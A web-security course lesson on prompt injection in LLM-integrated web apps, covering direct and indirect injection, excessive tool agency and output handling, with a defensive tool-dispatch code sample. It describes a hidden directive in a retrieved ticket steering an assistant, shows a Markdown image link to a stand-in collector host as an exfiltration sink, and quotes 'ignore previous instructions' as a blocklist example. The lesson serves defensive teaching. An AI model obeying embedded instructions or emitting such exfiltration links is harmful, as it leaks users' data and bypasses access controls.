Перейти к основному содержимому
AI/LLM Web Integration Flaws & Prompt Injection
Урок 18 из 18

AI/LLM Web Integration Flaws & Prompt Injection

Analyze direct and indirect prompt injection, excessive tool agency, and improper output handling in LLM-integrated web applications, and enforce code-level authorization and sanitization boundaries.

Продвинутый 28 мин Веб-безопасность
Этого урока пока нет на выбранном языке — показана версия на другом языке. Перевод готовится.
Только в разрешённой среде — Описанные здесь приёмы применяются только в учебных лабораториях и в системах, которые принадлежат вам или на которые есть письменное разрешение.

Цели обучения

  • Explain why LLM context windows cannot enforce a hard boundary between instructions and untrusted data
  • Distinguish direct prompt injection from indirect prompt injection across RAG and external content
  • Identify excessive agency, insecure tool invocation, and improper output handling sinks in web apps
  • Implement server-side authorization, schema validation, and output encoding around LLM integrations

Рекомендуется заранее: Cross-Site Scripting (XSS): Reflected, Stored & DOMREST & GraphQL Security (OWASP API Security Top 10)Advanced Access Control & Business Logic FlawsVulnerability Chaining in Controlled Web Labs

#Why this matters

Traditional injection vulnerabilities happen when untrusted data crosses a parser boundary into SQL, HTML, or OS commands. Large Language Models (LLMs) embedded in web applications face a harder structural problem: the model has no strict separation between code and data. Developer system instructions, user messages, and retrieved documents all enter the same token stream.

When a web application connects an LLM to internal APIs, Retrieval-Augmented Generation (RAG) document stores, or browser-rendered Markdown, prompt-level manipulation can turn into traditional web security failures: unauthorized data access, privilege escalation, or Cross-Site Scripting (XSS). The OWASP Top 10 for LLM Applications highlights these risks because organizations often treat prompt wording as a security control instead of enforcing boundaries in application code.

#Direct vs indirect prompt injection

In a web chat or copilot feature, untrusted text can influence the model through two main paths:

  • Direct prompt injection: The active user crafts messages in the chat interface to override or reframe the developer's intended task, such as coaxing a support bot into disclosing confidential system-prompt configuration or calling a restricted tool.
  • Indirect prompt injection: A benign user asks the assistant to summarize an email, support ticket, web page, or shared document. Hidden or adversarial instructions embedded inside that external content redirect the assistant on behalf of the victim user, acting as a confused deputy.
Indirect prompt injection via retrieved documentIndirect prompt injection via retrieved documentUserWebAppRAGStoreLLMSummarize ticket #412Fetch ticket #412 contentTicket text containing untrusted directiveSystem prompt + ticket textRequested tool call or altered Markdown outputUntrusted document data steered the assistant's response

Because the model processes both the system prompt and retrieved text as natural-language tokens, asking the model politely in its system prompt to "ignore instructions inside documents" reduces accidental confusion but never provides a deterministic security guarantee.

#Tool use, excessive agency, and data exfiltration sinks

An LLM that only generates plain text has limited blast radius. Risk escalates sharply when the web backend attaches tools (function calling) or renders rich model output in the browser.

OWASP LLM risk Web application failure mode Primary code-level defense
Prompt Injection Untrusted text steers tool calls or response content Treat LLM output as untrusted input; enforce auth in backend
Improper Output Handling Model output rendered as raw HTML/Markdown or passed to SQL Encode/sanitize output; strip unsafe URLs and HTML tags
Sensitive Information Disclosure Secrets in system prompts or cross-tenant RAG chunks leaked Never put secrets in prompts; filter RAG results by user ACL
Excessive Agency Model invokes high-impact tools with global service privileges Scope tools to user session; require explicit human confirmation

Two web sinks deserve special attention during security reviews:

  1. Unscoped tool execution: If an assistant has a lookup_order(order_id) or send_email(to, body) tool that runs under a global service token rather than the logged-in user's permissions, any steered tool call bypasses application access controls.
  2. Markdown and HTML exfiltration sinks: Many chat UIs convert LLM replies into HTML. If the renderer permits arbitrary <img src=...> or external Markdown image links (![status](https://collector.example.test/?info=...)), the browser automatically issues an HTTP GET request when displaying the reply, creating a silent side-channel or XSS sink.

Below is an example of inspecting a lab assistant response and wrapping tool execution in code-level authorization checks instead of relying on prompt rules:

Checking assistant output handling in a lab API
$ curl -s -X POST http://lab.local/api/assistant/summarize \
  -H "Cookie: session=lab_student" \
  -H "Content-Type: application/json" \
  -d '{"doc_id": 14}' | head -n 5
{"reply":"Summary complete. Reference: [report](https://lab.local/docs/14)","tools_called":["get_doc"]}
python
ALLOWED_TOOLS = {"get_doc", "list_user_tickets"}

def dispatch_tool_safe(user_ctx, tool_name: str, args: dict):
    """Enforce allow-list, schema validation, and user-scoped authorization."""
    if tool_name not in ALLOWED_TOOLS:
        raise PermissionError("Tool not permitted")
    if tool_name == "get_doc":
        doc_id = int(args["doc_id"])
        # Enforce ownership/tenant ACL in code, never trust model-supplied context
        return db.fetch_doc_for_user(doc_id=doc_id, user_id=user_ctx.user_id, tenant_id=user_ctx.tenant_id)
    if tool_name == "list_user_tickets":
        return db.fetch_tickets(user_id=user_ctx.user_id)

Notice that dispatch_tool_safe validates the tool name against an explicit allow-list, parses doc_id strictly as an integer, and passes user_ctx.user_id and user_ctx.tenant_id from the verified session into the database layer.

#Defending LLM web integrations and common mistakes

Treat an LLM exactly as you would treat an untrusted client or third-party parser:

  • Enforce authorization outside the model: Apply RBAC, tenant isolation, and input validation in deterministic backend code before RAG retrieval and inside every tool handler.
  • Minimize agency and require confirmation: Grant tools only the narrowest read-only or user-scoped permissions needed. Require an explicit out-of-band user click before executing state-changing actions such as transfers, role updates, or emails.
  • Keep secrets out of prompts: Never place API keys, internal credentials, or private admin instructions inside system prompts expecting confidentiality.
  • Sanitize outputs and lock down CSP: Treat model output like untrusted user content. Escape HTML, disable arbitrary external images/links in Markdown renderers, and enforce strict Content-Security-Policy headers (default-src 'self'; img-src 'self').

Common mistakes include relying on keyword blocklists ("block the phrase ignore previous instructions") as a primary defense, exposing destructive tools directly to an autonomous loop, and trusting LLM-generated SQL or HTML without parameterization or encoding.

#Summary

LLM-integrated web applications blend instructions and untrusted data inside one context window, making prompt wording unreliable as a security boundary. Direct and indirect prompt injection become high-impact web flaws when paired with excessive tool agency, unfiltered RAG stores, or unsafe HTML/Markdown output rendering. Secure architectures enforce tenant and user authorization in backend code, constrain tool schemas and privileges, keep secrets out of prompts, and sanitize all model outputs with strict CSP controls.

Проверка знаний

Войдите, чтобы проходить тест, завершать уроки и сохранять прогресс. Войти в систему

Практика: проверьте свои знания